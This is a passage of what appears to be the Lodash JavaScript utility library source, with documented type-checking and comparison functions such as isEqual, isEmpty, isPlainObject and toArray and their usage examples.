11281 * _.eq(NaN, NaN);
11282 * // => true
11283 */
11284 function eq(value, other) {
11285 return value === other || (value !== value && other !== other);
11286 }
11287
11288 /**
11289 * Checks if `value` is greater than `other`.
11290 *
11291 * @static
11292 * @memberOf _
11293 * @since 3.9.0
11294 * @category Lang
11295 * @param {*} value The value to compare.
11296 * @param {*} other The other value to compare.
11297 * @returns {boolean} Returns `true` if `value` is greater than `other`,
11298 * else `false`.
11299 * @see _.lt
11300 * @example
11301 *
11302 * _.gt(3, 1);
11303 * // => true
11304 *
11305 * _.gt(3, 3);
11306 * // => false
11307 *
11308 * _.gt(1, 3);
11309 * // => false
11310 */
11311 var gt = createRelationalOperation(baseGt);
11312
11313 /**
11314 * Checks if `value` is greater than or equal to `other`.
11315 *
11316 * @static
11317 * @memberOf _
11318 * @since 3.9.0
11319 * @category Lang
11320 * @param {*} value The value to compare.
11321 * @param {*} other The other value to compare.
11322 * @returns {boolean} Returns `true` if `value` is greater than or equal to
11323 * `other`, else `false`.
11324 * @see _.lte
11325 * @example
11326 *
11327 * _.gte(3, 1);
11328 * // => true
11329 *
11330 * _.gte(3, 3);
11331 * // => true
11332 *
11333 * _.gte(1, 3);
11334 * // => false
11335 */
11336 var gte = createRelationalOperation(function(value, other) {
11337 return value >= other;
11338 });
11339
11340 /**
11341 * Checks if `value` is likely an `arguments` object.
11342 *
11343 * @static
11344 * @memberOf _
11345 * @since 0.1.0
11346 * @category Lang
11347 * @param {*} value The value to check.
11348 * @returns {boolean} Returns `true` if `value` is an `arguments` object,
11349 * else `false`.
11350 * @example
11351 *
11352 * _.isArguments(function() { return arguments; }());
11353 * // => true
11354 *
11355 * _.isArguments([1, 2, 3]);
11356 * // => false
11357 */
11358 var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) {
11359 return isObjectLike(value) && hasOwnProperty.call(value, 'callee') &&
11360 !propertyIsEnumerable.call(value, 'callee');
11361 };
11362
11363 /**
11364 * Checks if `value` is classified as an `Array` object.
11365 *
11366 * @static
11367 * @memberOf _
11368 * @since 0.1.0
11369 * @category Lang
11370 * @param {*} value The value to check.
11371 * @returns {boolean} Returns `true` if `value` is an array, else `false`.
11372 * @example
11373 *
11374 * _.isArray([1, 2, 3]);
11375 * // => true
11376 *
11377 * _.isArray(document.body.children);
11378 * // => false
11379 *
11380 * _.isArray('abc');
11381 * // => false
11382 *
11383 * _.isArray(_.noop);
11384 * // => false
11385 */
11386 var isArray = Array.isArray;
11387
11388 /**
11389 * Checks if `value` is classified as an `ArrayBuffer` object.
11390 *
11391 * @static
11392 * @memberOf _
11393 * @since 4.3.0
11394 * @category Lang
11395 * @param {*} value The value to check.
11396 * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
11397 * @example
11398 *
11399 * _.isArrayBuffer(new ArrayBuffer(2));
11400 * // => true
11401 *
11402 * _.isArrayBuffer(new Array(2));
11403 * // => false
11404 */
11405 var isArrayBuffer = nodeIsArrayBuffer ? baseUnary(nodeIsArrayBuffer) : baseIsArrayBuffer;
11406
11407 /**
11408 * Checks if `value` is array-like. A value is considered array-like if it's
11409 * not a function and has a `value.length` that's an integer greater than or
11410 * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
11411 *
11412 * @static
11413 * @memberOf _
11414 * @since 4.0.0
11415 * @category Lang
11416 * @param {*} value The value to check.
11417 * @returns {boolean} Returns `true` if `value` is array-like, else `false`.
11418 * @example
11419 *
11420 * _.isArrayLike([1, 2, 3]);
11421 * // => true
11422 *
11423 * _.isArrayLike(document.body.children);
11424 * // => true
11425 *
11426 * _.isArrayLike('abc');
11427 * // => true
11428 *
11429 * _.isArrayLike(_.noop);
11430 * // => false
11431 */
11432 function isArrayLike(value) {
11433 return value != null && isLength(value.length) && !isFunction(value);
11434 }
11435
11436 /**
11437 * This method is like `_.isArrayLike` except that it also checks if `value`
11438 * is an object.
11439 *
11440 * @static
11441 * @memberOf _
11442 * @since 4.0.0
11443 * @category Lang
11444 * @param {*} value The value to check.
11445 * @returns {boolean} Returns `true` if `value` is an array-like object,
11446 * else `false`.
11447 * @example
11448 *
11449 * _.isArrayLikeObject([1, 2, 3]);
11450 * // => true
11451 *
11452 * _.isArrayLikeObject(document.body.children);
11453 * // => true
11454 *
11455 * _.isArrayLikeObject('abc');
11456 * // => false
11457 *
11458 * _.isArrayLikeObject(_.noop);
11459 * // => false
11460 */
11461 function isArrayLikeObject(value) {
11462 return isObjectLike(value) && isArrayLike(value);
11463 }
11464
11465 /**
11466 * Checks if `value` is classified as a boolean primitive or object.
11467 *
11468 * @static
11469 * @memberOf _
11470 * @since 0.1.0
11471 * @category Lang
11472 * @param {*} value The value to check.
11473 * @returns {boolean} Returns `true` if `value` is a boolean, else `false`.
11474 * @example
11475 *
11476 * _.isBoolean(false);
11477 * // => true
11478 *
11479 * _.isBoolean(null);
11480 * // => false
11481 */
11482 function isBoolean(value) {
11483 return value === true || value === false ||
11484 (isObjectLike(value) && baseGetTag(value) == boolTag);
11485 }
11486
11487 /**
11488 * Checks if `value` is a buffer.
11489 *
11490 * @static
11491 * @memberOf _
11492 * @since 4.3.0
11493 * @category Lang
11494 * @param {*} value The value to check.
11495 * @returns {boolean} Returns `true` if `value` is a buffer, else `false`.
11496 * @example
11497 *
11498 * _.isBuffer(new Buffer(2));
11499 * // => true
11500 *
11501 * _.isBuffer(new Uint8Array(2));
11502 * // => false
11503 */
11504 var isBuffer = nativeIsBuffer || stubFalse;
11505
11506 /**
11507 * Checks if `value` is classified as a `Date` object.
11508 *
11509 * @static
11510 * @memberOf _
11511 * @since 0.1.0
11512 * @category Lang
11513 * @param {*} value The value to check.
11514 * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
11515 * @example
11516 *
11517 * _.isDate(new Date);
11518 * // => true
11519 *
11520 * _.isDate('Mon April 23 2012');
11521 * // => false
11522 */
11523 var isDate = nodeIsDate ? baseUnary(nodeIsDate) : baseIsDate;
11524
11525 /**
11526 * Checks if `value` is likely a DOM element.
11527 *
11528 * @static
11529 * @memberOf _
11530 * @since 0.1.0
11531 * @category Lang
11532 * @param {*} value The value to check.
11533 * @returns {boolean} Returns `true` if `value` is a DOM element, else `false`.
11534 * @example
11535 *
11536 * _.isElement(document.body);
11537 * // => true
11538 *
11539 * _.isElement('<body>');
11540 * // => false
11541 */
11542 function isElement(value) {
11543 return isObjectLike(value) && value.nodeType === 1 && !isPlainObject(value);
11544 }
11545
11546 /**
11547 * Checks if `value` is an empty object, collection, map, or set.
11548 *
11549 * Objects are considered empty if they have no own enumerable string keyed
11550 * properties.
11551 *
11552 * Array-like values such as `arguments` objects, arrays, buffers, strings, or
11553 * jQuery-like collections are considered empty if they have a `length` of `0`.
11554 * Similarly, maps and sets are considered empty if they have a `size` of `0`.
11555 *
11556 * @static
11557 * @memberOf _
11558 * @since 0.1.0
11559 * @category Lang
11560 * @param {*} value The value to check.
11561 * @returns {boolean} Returns `true` if `value` is empty, else `false`.
11562 * @example
11563 *
11564 * _.isEmpty(null);
11565 * // => true
11566 *
11567 * _.isEmpty(true);
11568 * // => true
11569 *
11570 * _.isEmpty(1);
11571 * // => true
11572 *
11573 * _.isEmpty([1, 2, 3]);
11574 * // => false
11575 *
11576 * _.isEmpty({ 'a': 1 });
11577 * // => false
11578 */
11579 function isEmpty(value) {
11580 if (value == null) {
11581 return true;
11582 }
11583 if (isArrayLike(value) &&
11584 (isArray(value) || typeof value == 'string' || typeof value.splice == 'function' ||
11585 isBuffer(value) || isTypedArray(value) || isArguments(value))) {
11586 return !value.length;
11587 }
11588 var tag = getTag(value);
11589 if (tag == mapTag || tag == setTag) {
11590 return !value.size;
11591 }
11592 if (isPrototype(value)) {
11593 return !baseKeys(value).length;
11594 }
11595 for (var key in value) {
11596 if (hasOwnProperty.call(value, key)) {
11597 return false;
11598 }
11599 }
11600 return true;
11601 }
11602
11603 /**
11604 * Performs a deep comparison between two values to determine if they are
11605 * equivalent.
11606 *
11607 * **Note:** This method supports comparing arrays, array buffers, booleans,
11608 * date objects, error objects, maps, numbers, `Object` objects, regexes,
11609 * sets, strings, symbols, and typed arrays. `Object` objects are compared
11610 * by their own, not inherited, enumerable properties. Functions and DOM
11611 * nodes are compared by strict equality, i.e. `===`.
11612 *
11613 * @static
11614 * @memberOf _
11615 * @since 0.1.0
11616 * @category Lang
11617 * @param {*} value The value to compare.
11618 * @param {*} other The other value to compare.
11619 * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
11620 * @example
11621 *
11622 * var object = { 'a': 1 };
11623 * var other = { 'a': 1 };
11624 *
11625 * _.isEqual(object, other);
11626 * // => true
11627 *
11628 * object === other;
11629 * // => false
11630 */
11631 function isEqual(value, other) {
11632 return baseIsEqual(value, other);
11633 }
11634
11635 /**
11636 * This method is like `_.isEqual` except that it accepts `customizer` which
11637 * is invoked to compare values. If `customizer` returns `undefined`, comparisons
11638 * are handled by the method instead. The `customizer` is invoked with up to
11639 * six arguments: (objValue, othValue [, index|key, object, other, stack]).
11640 *
11641 * @static
11642 * @memberOf _
11643 * @since 4.0.0
11644 * @category Lang
11645 * @param {*} value The value to compare.
11646 * @param {*} other The other value to compare.
11647 * @param {Function} [customizer] The function to customize comparisons.
11648 * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
11649 * @example
11650 *
11651 * function isGreeting(value) {
11652 * return /^h(?:i|ello)$/.test(value);
11653 * }
11654 *
11655 * function customizer(objValue, othValue) {
11656 * if (isGreeting(objValue) && isGreeting(othValue)) {
11657 * return true;
11658 * }
11659 * }
11660 *
11661 * var array = ['hello', 'goodbye'];
11662 * var other = ['hi', 'goodbye'];
11663 *
11664 * _.isEqualWith(array, other, customizer);
11665 * // => true
11666 */
11667 function isEqualWith(value, other, customizer) {
11668 customizer = typeof customizer == 'function' ? customizer : undefined;
11669 var result = customizer ? customizer(value, other) : undefined;
11670 return result === undefined ? baseIsEqual(value, other, undefined, customizer) : !!result;
11671 }
11672
11673 /**
11674 * Checks if `value` is an `Error`, `EvalError`, `RangeError`, `ReferenceError`,
11675 * `SyntaxError`, `TypeError`, or `URIError` object.
11676 *
11677 * @static
11678 * @memberOf _
11679 * @since 3.0.0
11680 * @category Lang
11681 * @param {*} value The value to check.
11682 * @returns {boolean} Returns `true` if `value` is an error object, else `false`.
11683 * @example
11684 *
11685 * _.isError(new Error);
11686 * // => true
11687 *
11688 * _.isError(Error);
11689 * // => false
11690 */
11691 function isError(value) {
11692 if (!isObjectLike(value)) {
11693 return false;
11694 }
11695 var tag = baseGetTag(value);
11696 return tag == errorTag || tag == domExcTag ||
11697 (typeof value.message == 'string' && typeof value.name == 'string' && !isPlainObject(value));
11698 }
11699
11700 /**
11701 * Checks if `value` is a finite primitive number.
11702 *
11703 * **Note:** This method is based on
11704 * [`Number.isFinite`](https://mdn.io/Number/isFinite).
11705 *
11706 * @static
11707 * @memberOf _
11708 * @since 0.1.0
11709 * @category Lang
11710 * @param {*} value The value to check.
11711 * @returns {boolean} Returns `true` if `value` is a finite number, else `false`.
11712 * @example
11713 *
11714 * _.isFinite(3);
11715 * // => true
11716 *
11717 * _.isFinite(Number.MIN_VALUE);
11718 * // => true
11719 *
11720 * _.isFinite(Infinity);
11721 * // => false
11722 *
11723 * _.isFinite('3');
11724 * // => false
11725 */
11726 function isFinite(value) {
11727 return typeof value == 'number' && nativeIsFinite(value);
11728 }
11729
11730 /**
11731 * Checks if `value` is classified as a `Function` object.
11732 *
11733 * @static
11734 * @memberOf _
11735 * @since 0.1.0
11736 * @category Lang
11737 * @param {*} value The value to check.
11738 * @returns {boolean} Returns `true` if `value` is a function, else `false`.
11739 * @example
11740 *
11741 * _.isFunction(_);
11742 * // => true
11743 *
11744 * _.isFunction(/abc/);
11745 * // => false
11746 */
11747 function isFunction(value) {
11748 if (!isObject(value)) {
11749 return false;
11750 }
11751 // The use of `Object#toString` avoids issues with the `typeof` operator
11752 // in Safari 9 which returns 'object' for typed arrays and other constructors.
11753 var tag = baseGetTag(value);
11754 return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag;
11755 }
11756
11757 /**
11758 * Checks if `value` is an integer.
11759 *
11760 * **Note:** This method is based on
11761 * [`Number.isInteger`](https://mdn.io/Number/isInteger).
11762 *
11763 * @static
11764 * @memberOf _
11765 * @since 4.0.0
11766 * @category Lang
11767 * @param {*} value The value to check.
11768 * @returns {boolean} Returns `true` if `value` is an integer, else `false`.
11769 * @example
11770 *
11771 * _.isInteger(3);
11772 * // => true
11773 *
11774 * _.isInteger(Number.MIN_VALUE);
11775 * // => false
11776 *
11777 * _.isInteger(Infinity);
11778 * // => false
11779 *
11780 * _.isInteger('3');
11781 * // => false
11782 */
11783 function isInteger(value) {
11784 return typeof value == 'number' && value == toInteger(value);
11785 }
11786
11787 /**
11788 * Checks if `value` is a valid array-like length.
11789 *
11790 * **Note:** This method is loosely based on
11791 * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
11792 *
11793 * @static
11794 * @memberOf _
11795 * @since 4.0.0
11796 * @category Lang
11797 * @param {*} value The value to check.
11798 * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
11799 * @example
11800 *
11801 * _.isLength(3);
11802 * // => true
11803 *
11804 * _.isLength(Number.MIN_VALUE);
11805 * // => false
11806 *
11807 * _.isLength(Infinity);
11808 * // => false
11809 *
11810 * _.isLength('3');
11811 * // => false
11812 */
11813 function isLength(value) {
11814 return typeof value == 'number' &&
11815 value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
11816 }
11817
11818 /**
11819 * Checks if `value` is the
11820 * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
11821 * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
11822 *
11823 * @static
11824 * @memberOf _
11825 * @since 0.1.0
11826 * @category Lang
11827 * @param {*} value The value to check.
11828 * @returns {boolean} Returns `true` if `value` is an object, else `false`.
11829 * @example
11830 *
11831 * _.isObject({});
11832 * // => true
11833 *
11834 * _.isObject([1, 2, 3]);
11835 * // => true
11836 *
11837 * _.isObject(_.noop);
11838 * // => true
11839 *
11840 * _.isObject(null);
11841 * // => false
11842 */
11843 function isObject(value) {
11844 var type = typeof value;
11845 return value != null && (type == 'object' || type == 'function');
11846 }
11847
11848 /**
11849 * Checks if `value` is object-like. A value is object-like if it's not `null`
11850 * and has a `typeof` result of "object".
11851 *
11852 * @static
11853 * @memberOf _
11854 * @since 4.0.0
11855 * @category Lang
11856 * @param {*} value The value to check.
11857 * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
11858 * @example
11859 *
11860 * _.isObjectLike({});
11861 * // => true
11862 *
11863 * _.isObjectLike([1, 2, 3]);
11864 * // => true
11865 *
11866 * _.isObjectLike(_.noop);
11867 * // => false
11868 *
11869 * _.isObjectLike(null);
11870 * // => false
11871 */
11872 function isObjectLike(value) {
11873 return value != null && typeof value == 'object';
11874 }
11875
11876 /**
11877 * Checks if `value` is classified as a `Map` object.
11878 *
11879 * @static
11880 * @memberOf _
11881 * @since 4.3.0
11882 * @category Lang
11883 * @param {*} value The value to check.
11884 * @returns {boolean} Returns `true` if `value` is a map, else `false`.
11885 * @example
11886 *
11887 * _.isMap(new Map);
11888 * // => true
11889 *
11890 * _.isMap(new WeakMap);
11891 * // => false
11892 */
11893 var isMap = nodeIsMap ? baseUnary(nodeIsMap) : baseIsMap;
11894
11895 /**
11896 * Performs a partial deep comparison between `object` and `source` to
11897 * determine if `object` contains equivalent property values.
11898 *
11899 * **Note:** This method is equivalent to `_.matches` when `source` is
11900 * partially applied.
11901 *
11902 * Partial comparisons will match empty array and empty object `source`
11903 * values against any array or object value, respectively. See `_.isEqual`
11904 * for a list of supported value comparisons.
11905 *
11906 * @static
11907 * @memberOf _
11908 * @since 3.0.0
11909 * @category Lang
11910 * @param {Object} object The object to inspect.
11911 * @param {Object} source The object of property values to match.
11912 * @returns {boolean} Returns `true` if `object` is a match, else `false`.
11913 * @example
11914 *
11915 * var object = { 'a': 1, 'b': 2 };
11916 *
11917 * _.isMatch(object, { 'b': 2 });
11918 * // => true
11919 *
11920 * _.isMatch(object, { 'b': 1 });
11921 * // => false
11922 */
11923 function isMatch(object, source) {
11924 return object === source || baseIsMatch(object, source, getMatchData(source));
11925 }
11926
11927 /**
11928 * This method is like `_.isMatch` except that it accepts `customizer` which
11929 * is invoked to compare values. If `customizer` returns `undefined`, comparisons
11930 * are handled by the method instead. The `customizer` is invoked with five
11931 * arguments: (objValue, srcValue, index|key, object, source).
11932 *
11933 * @static
11934 * @memberOf _
11935 * @since 4.0.0
11936 * @category Lang
11937 * @param {Object} object The object to inspect.
11938 * @param {Object} source The object of property values to match.
11939 * @param {Function} [customizer] The function to customize comparisons.
11940 * @returns {boolean} Returns `true` if `object` is a match, else `false`.
11941 * @example
11942 *
11943 * function isGreeting(value) {
11944 * return /^h(?:i|ello)$/.test(value);
11945 * }
11946 *
11947 * function customizer(objValue, srcValue) {
11948 * if (isGreeting(objValue) && isGreeting(srcValue)) {
11949 * return true;
11950 * }
11951 * }
11952 *
11953 * var object = { 'greeting': 'hello' };
11954 * var source = { 'greeting': 'hi' };
11955 *
11956 * _.isMatchWith(object, source, customizer);
11957 * // => true
11958 */
11959 function isMatchWith(object, source, customizer) {
11960 customizer = typeof customizer == 'function' ? customizer : undefined;
11961 return baseIsMatch(object, source, getMatchData(source), customizer);
11962 }
11963
11964 /**
11965 * Checks if `value` is `NaN`.
11966 *
11967 * **Note:** This method is based on
11968 * [`Number.isNaN`](https://mdn.io/Number/isNaN) and is not the same as
11969 * global [`isNaN`](https://mdn.io/isNaN) which returns `true` for
11970 * `undefined` and other non-number values.
11971 *
11972 * @static
11973 * @memberOf _
11974 * @since 0.1.0
11975 * @category Lang
11976 * @param {*} value The value to check.
11977 * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
11978 * @example
11979 *
11980 * _.isNaN(NaN);
11981 * // => true
11982 *
11983 * _.isNaN(new Number(NaN));
11984 * // => true
11985 *
11986 * isNaN(undefined);
11987 * // => true
11988 *
11989 * _.isNaN(undefined);
11990 * // => false
11991 */
11992 function isNaN(value) {
11993 // An `NaN` primitive is the only value that is not equal to itself.
11994 // Perform the `toStringTag` check first to avoid errors with some
11995 // ActiveX objects in IE.
11996 return isNumber(value) && value != +value;
11997 }
11998
11999 /**
12000 * Checks if `value` is a pristine native function.
12001 *
12002 * **Note:** This method can't reliably detect native functions in the presence
12003 * of the core-js package because core-js circumvents this kind of detection.
12004 * Despite multiple requests, the core-js maintainer has made it clear: any
12005 * attempt to fix the detection will be obstructed. As a result, we're left
12006 * with little choice but to throw an error. Unfortunately, this also affects
12007 * packages, like [babel-polyfill](https://www.npmjs.com/package/babel-polyfill),
12008 * which rely on core-js.
12009 *
12010 * @static
12011 * @memberOf _
12012 * @since 3.0.0
12013 * @category Lang
12014 * @param {*} value The value to check.
12015 * @returns {boolean} Returns `true` if `value` is a native function,
12016 * else `false`.
12017 * @example
12018 *
12019 * _.isNative(Array.prototype.push);
12020 * // => true
12021 *
12022 * _.isNative(_);
12023 * // => false
12024 */
12025 function isNative(value) {
12026 if (isMaskable(value)) {
12027 throw new Error(CORE_ERROR_TEXT);
12028 }
12029 return baseIsNative(value);
12030 }
12031
12032 /**
12033 * Checks if `value` is `null`.
12034 *
12035 * @static
12036 * @memberOf _
12037 * @since 0.1.0
12038 * @category Lang
12039 * @param {*} value The value to check.
12040 * @returns {boolean} Returns `true` if `value` is `null`, else `false`.
12041 * @example
12042 *
12043 * _.isNull(null);
12044 * // => true
12045 *
12046 * _.isNull(void 0);
12047 * // => false
12048 */
12049 function isNull(value) {
12050 return value === null;
12051 }
12052
12053 /**
12054 * Checks if `value` is `null` or `undefined`.
12055 *
12056 * @static
12057 * @memberOf _
12058 * @since 4.0.0
12059 * @category Lang
12060 * @param {*} value The value to check.
12061 * @returns {boolean} Returns `true` if `value` is nullish, else `false`.
12062 * @example
12063 *
12064 * _.isNil(null);
12065 * // => true
12066 *
12067 * _.isNil(void 0);
12068 * // => true
12069 *
12070 * _.isNil(NaN);
12071 * // => false
12072 */
12073 function isNil(value) {
12074 return value == null;
12075 }
12076
12077 /**
12078 * Checks if `value` is classified as a `Number` primitive or object.
12079 *
12080 * **Note:** To exclude `Infinity`, `-Infinity`, and `NaN`, which are
12081 * classified as numbers, use the `_.isFinite` method.
12082 *
12083 * @static
12084 * @memberOf _
12085 * @since 0.1.0
12086 * @category Lang
12087 * @param {*} value The value to check.
12088 * @returns {boolean} Returns `true` if `value` is a number, else `false`.
12089 * @example
12090 *
12091 * _.isNumber(3);
12092 * // => true
12093 *
12094 * _.isNumber(Number.MIN_VALUE);
12095 * // => true
12096 *
12097 * _.isNumber(Infinity);
12098 * // => true
12099 *
12100 * _.isNumber('3');
12101 * // => false
12102 */
12103 function isNumber(value) {
12104 return typeof value == 'number' ||
12105 (isObjectLike(value) && baseGetTag(value) == numberTag);
12106 }
12107
12108 /**
12109 * Checks if `value` is a plain object, that is, an object created by the
12110 * `Object` constructor or one with a `[[Prototype]]` of `null`.
12111 *
12112 * @static
12113 * @memberOf _
12114 * @since 0.8.0
12115 * @category Lang
12116 * @param {*} value The value to check.
12117 * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
12118 * @example
12119 *
12120 * function Foo() {
12121 * this.a = 1;
12122 * }
12123 *
12124 * _.isPlainObject(new Foo);
12125 * // => false
12126 *
12127 * _.isPlainObject([1, 2, 3]);
12128 * // => false
12129 *
12130 * _.isPlainObject({ 'x': 0, 'y': 0 });
12131 * // => true
12132 *
12133 * _.isPlainObject(Object.create(null));
12134 * // => true
12135 */
12136 function isPlainObject(value) {
12137 if (!isObjectLike(value) || baseGetTag(value) != objectTag) {
12138 return false;
12139 }
12140 var proto = getPrototype(value);
12141 if (proto === null) {
12142 return true;
12143 }
12144 var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
12145 return typeof Ctor == 'function' && Ctor instanceof Ctor &&
12146 funcToString.call(Ctor) == objectCtorString;
12147 }
12148
12149 /**
12150 * Checks if `value` is classified as a `RegExp` object.
12151 *
12152 * @static
12153 * @memberOf _
12154 * @since 0.1.0
12155 * @category Lang
12156 * @param {*} value The value to check.
12157 * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
12158 * @example
12159 *
12160 * _.isRegExp(/abc/);
12161 * // => true
12162 *
12163 * _.isRegExp('/abc/');
12164 * // => false
12165 */
12166 var isRegExp = nodeIsRegExp ? baseUnary(nodeIsRegExp) : baseIsRegExp;
12167
12168 /**
12169 * Checks if `value` is a safe integer. An integer is safe if it's an IEEE-754
12170 * double precision number which isn't the result of a rounded unsafe integer.
12171 *
12172 * **Note:** This method is based on
12173 * [`Number.isSafeInteger`](https://mdn.io/Number/isSafeInteger).
12174 *
12175 * @static
12176 * @memberOf _
12177 * @since 4.0.0
12178 * @category Lang
12179 * @param {*} value The value to check.
12180 * @returns {boolean} Returns `true` if `value` is a safe integer, else `false`.
12181 * @example
12182 *
12183 * _.isSafeInteger(3);
12184 * // => true
12185 *
12186 * _.isSafeInteger(Number.MIN_VALUE);
12187 * // => false
12188 *
12189 * _.isSafeInteger(Infinity);
12190 * // => false
12191 *
12192 * _.isSafeInteger('3');
12193 * // => false
12194 */
12195 function isSafeInteger(value) {
12196 return isInteger(value) && value >= -MAX_SAFE_INTEGER && value <= MAX_SAFE_INTEGER;
12197 }
12198
12199 /**
12200 * Checks if `value` is classified as a `Set` object.
12201 *
12202 * @static
12203 * @memberOf _
12204 * @since 4.3.0
12205 * @category Lang
12206 * @param {*} value The value to check.
12207 * @returns {boolean} Returns `true` if `value` is a set, else `false`.
12208 * @example
12209 *
12210 * _.isSet(new Set);
12211 * // => true
12212 *
12213 * _.isSet(new WeakSet);
12214 * // => false
12215 */
12216 var isSet = nodeIsSet ? baseUnary(nodeIsSet) : baseIsSet;
12217
12218 /**
12219 * Checks if `value` is classified as a `String` primitive or object.
12220 *
12221 * @static
12222 * @since 0.1.0
12223 * @memberOf _
12224 * @category Lang
12225 * @param {*} value The value to check.
12226 * @returns {boolean} Returns `true` if `value` is a string, else `false`.
12227 * @example
12228 *
12229 * _.isString('abc');
12230 * // => true
12231 *
12232 * _.isString(1);
12233 * // => false
12234 */
12235 function isString(value) {
12236 return typeof value == 'string' ||
12237 (!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag);
12238 }
12239
12240 /**
12241 * Checks if `value` is classified as a `Symbol` primitive or object.
12242 *
12243 * @static
12244 * @memberOf _
12245 * @since 4.0.0
12246 * @category Lang
12247 * @param {*} value The value to check.
12248 * @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
12249 * @example
12250 *
12251 * _.isSymbol(Symbol.iterator);
12252 * // => true
12253 *
12254 * _.isSymbol('abc');
12255 * // => false
12256 */
12257 function isSymbol(value) {
12258 return typeof value == 'symbol' ||
12259 (isObjectLike(value) && baseGetTag(value) == symbolTag);
12260 }
12261
12262 /**
12263 * Checks if `value` is classified as a typed array.
12264 *
12265 * @static
12266 * @memberOf _
12267 * @since 3.0.0
12268 * @category Lang
12269 * @param {*} value The value to check.
12270 * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
12271 * @example
12272 *
12273 * _.isTypedArray(new Uint8Array);
12274 * // => true
12275 *
12276 * _.isTypedArray([]);
12277 * // => false
12278 */
12279 var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray;
12280
12281 /**
12282 * Checks if `value` is `undefined`.
12283 *
12284 * @static
12285 * @since 0.1.0
12286 * @memberOf _
12287 * @category Lang
12288 * @param {*} value The value to check.
12289 * @returns {boolean} Returns `true` if `value` is `undefined`, else `false`.
12290 * @example
12291 *
12292 * _.isUndefined(void 0);
12293 * // => true
12294 *
12295 * _.isUndefined(null);
12296 * // => false
12297 */
12298 function isUndefined(value) {
12299 return value === undefined;
12300 }
12301
12302 /**
12303 * Checks if `value` is classified as a `WeakMap` object.
12304 *
12305 * @static
12306 * @memberOf _
12307 * @since 4.3.0
12308 * @category Lang
12309 * @param {*} value The value to check.
12310 * @returns {boolean} Returns `true` if `value` is a weak map, else `false`.
12311 * @example
12312 *
12313 * _.isWeakMap(new WeakMap);
12314 * // => true
12315 *
12316 * _.isWeakMap(new Map);
12317 * // => false
12318 */
12319 function isWeakMap(value) {
12320 return isObjectLike(value) && getTag(value) == weakMapTag;
12321 }
12322
12323 /**
12324 * Checks if `value` is classified as a `WeakSet` object.
12325 *
12326 * @static
12327 * @memberOf _
12328 * @since 4.3.0
12329 * @category Lang
12330 * @param {*} value The value to check.
12331 * @returns {boolean} Returns `true` if `value` is a weak set, else `false`.
12332 * @example
12333 *
12334 * _.isWeakSet(new WeakSet);
12335 * // => true
12336 *
12337 * _.isWeakSet(new Set);
12338 * // => false
12339 */
12340 function isWeakSet(value) {
12341 return isObjectLike(value) && baseGetTag(value) == weakSetTag;
12342 }
12343
12344 /**
12345 * Checks if `value` is less than `other`.
12346 *
12347 * @static
12348 * @memberOf _
12349 * @since 3.9.0
12350 * @category Lang
12351 * @param {*} value The value to compare.
12352 * @param {*} other The other value to compare.
12353 * @returns {boolean} Returns `true` if `value` is less than `other`,
12354 * else `false`.
12355 * @see _.gt
12356 * @example
12357 *
12358 * _.lt(1, 3);
12359 * // => true
12360 *
12361 * _.lt(3, 3);
12362 * // => false
12363 *
12364 * _.lt(3, 1);
12365 * // => false
12366 */
12367 var lt = createRelationalOperation(baseLt);
12368
12369 /**
12370 * Checks if `value` is less than or equal to `other`.
12371 *
12372 * @static
12373 * @memberOf _
12374 * @since 3.9.0
12375 * @category Lang
12376 * @param {*} value The value to compare.
12377 * @param {*} other The other value to compare.
12378 * @returns {boolean} Returns `true` if `value` is less than or equal to
12379 * `other`, else `false`.
12380 * @see _.gte
12381 * @example
12382 *
12383 * _.lte(1, 3);
12384 * // => true
12385 *
12386 * _.lte(3, 3);
12387 * // => true
12388 *
12389 * _.lte(3, 1);
12390 * // => false
12391 */
12392 var lte = createRelationalOperation(function(value, other) {
12393 return value <= other;
12394 });
12395
12396 /**
12397 * Converts `value` to an array.
12398 *
12399 * @static
12400 * @since 0.1.0
12401 * @memberOf _
12402 * @category Lang
12403 * @param {*} value The value to convert.
12404 * @returns {Array} Returns the converted array.
12405 * @example
12406 *
12407 * _.toArray({ 'a': 1, 'b': 2 });
12408 * // => [1, 2]
12409 *
12410 * _.toArray('abc');
12411 * // => ['a', 'b', 'c']
12412 *
12413 * _.toArray(1);
12414 * // => []
12415 *
12416 * _.toArray(null);
12417 * // => []
12418 */
12419 function toArray(value) {
12420 if (!value) {
12421 return [];
12422 }
12423 if (isArrayLike(value)) {
12424 return isString(value) ? stringToArray(value) : copyArray(value);
12425 }
12426 if (symIterator && value[symIterator]) {
12427 return iteratorToArray(value[symIterator]());
12428 }
12429 var tag = getTag(value),
12430 func = tag == mapTag ? mapToArray : (tag == setTag ? setToArray : values);
12431
12432 return func(value);
12433 }
12434
12435 /**
12436 * Converts `value` to a finite number.
12437 *
12438 * @static
12439 * @memberOf _
12440 * @since 4.12.0
12441 * @category Lang
12442 * @param {*} value The value to convert.
12443 * @returns {number} Returns the converted number.
12444 * @example
12445 *
12446 * _.toFinite(3.2);
12447 * // => 3.2
12448 *
12449 * _.toFinite(Number.MIN_VALUE);
12450 * // => 5e-324
12451 *
12452 * _.toFinite(Infinity);
12453 * // => 1.7976931348623157e+308
12454 *
12455 * _.toFinite('3.2');
12456 * // => 3.2
12457 */
12458 function toFinite(value) {
12459 if (!value) {
12460 return value === 0 ? value : 0;
12461 }
12462 value = toNumber(value);
12463 if (value === INFINITY || value === -INFINITY) {
